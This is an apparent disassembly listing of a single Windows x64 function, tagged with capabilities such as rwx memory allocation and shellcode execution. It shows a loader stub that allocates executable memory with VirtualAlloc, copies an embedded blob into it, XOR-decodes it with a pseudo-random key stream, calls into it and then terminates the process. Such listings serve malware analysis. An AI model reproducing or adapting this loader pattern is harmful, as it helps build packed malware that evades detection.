Function at 0x140033f81
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140033f91
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
cmp dword [0x14013b018], 0
je 0x140033ffa
lea rsi, [0x14013b01c]
xor ebp, ebp
lea rdi, [fcn.140033f81]
lea rbx, str.wwww
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.1400343f1
test eax, eax
je 0x14003420a
add rbp, 1
mov eax, dword [0x14013b018]
add rsi, 0x10
cmp rbp, rax
jb 0x140033fd1
mov edx, dword [0x14013b008]
xor edi, edi
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r13, rax
mov r8d, dword [0x14013b008]
test r8, r8
je 0x1400340e6
mov ebx, dword [0x14013b004]
lea rcx, [fcn.140033f81]
lea rbp, [r8 - 1]
mov rdx, r8
and rdx, 7
je 0x14003407c
xor edi, edi
nop word cs:[rax + rax]
nop dword [rax]
lea rsi, [rbx + rdi]
movzx eax, byte [rcx + rsi]
mov byte [r13 + rdi], al
add rdi, 1
cmp rdx, rdi
jne 0x140034051
sub r8, rdi
lea rdx, [rdi + r13]
add rcx, rbx
add rcx, rdi
cmp rbp, 7
jae 0x140034088
jmp 0x1400340e0
add rcx, rbx
mov rdx, r13
cmp rbp, 7
jb 0x1400340e0
xor ebp, ebp
nop dword [rax]
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp r8, rbp
jne 0x140034091
mov edi, dword [0x14013b008]
mov r8d, dword [0x14013b00c]
mov rcx, r13
mov rdx, rdi
call fcn.1400346b1
mov edi, dword [r13 + 4]
test rdi, rdi
je 0x140034207
mov ebp, dword [0x14013b00c]
lea rax, [r13 + 8]
mov qword [rsp + 0x38], rax
mov eax, dword [r13]
mov qword [rsp + 0x30], rax
add eax, 0x100
mov dword [rsp + 0x2c], eax
xor r12d, r12d
lea r15, [rsp + 0x40]
xor r14d, r14d
mov ebx, r12d
add rbx, qword [rsp + 0x38]
imul ebp, ebp, 0x18d517
xor ebp, 0x352e09df
movzx esi, bpl
mov rcx, r15
mov rdx, rbx
mov r8, rsi
call fcn.1400342d1
lea rcx, [rsp + rsi]
add rcx, 0x40
add rbx, qword [rsp + 0x30]
add rbx, rsi
mov r8d, 0x100
sub r8d, esi
mov rdx, rbx
call fcn.1400342d1
mov ecx, r14d
add rcx, r13
mov r8d, 0x100
mov rdx, r15
call fcn.1400342d1
add r14d, 0x100
add r12d, dword [rsp + 0x2c]
cmp r14d, edi
jb 0x140034131
mov ecx, dword [0x14013b00c]
cmp edi, 1
jne 0x1400341ac
xor eax, eax
jmp 0x1400341ec
mov edx, edi
and edx, 0xfffffffe
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r13 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x1400341c1
test dil, 1
je 0x140034207
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r13 + rax]
xor dl, 0xdf
mov byte [r13 + rax], dl
call r13
cmp dword [0x14013b014], 0
jne 0x140034222
mov rcx, 0xffffffffffffffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret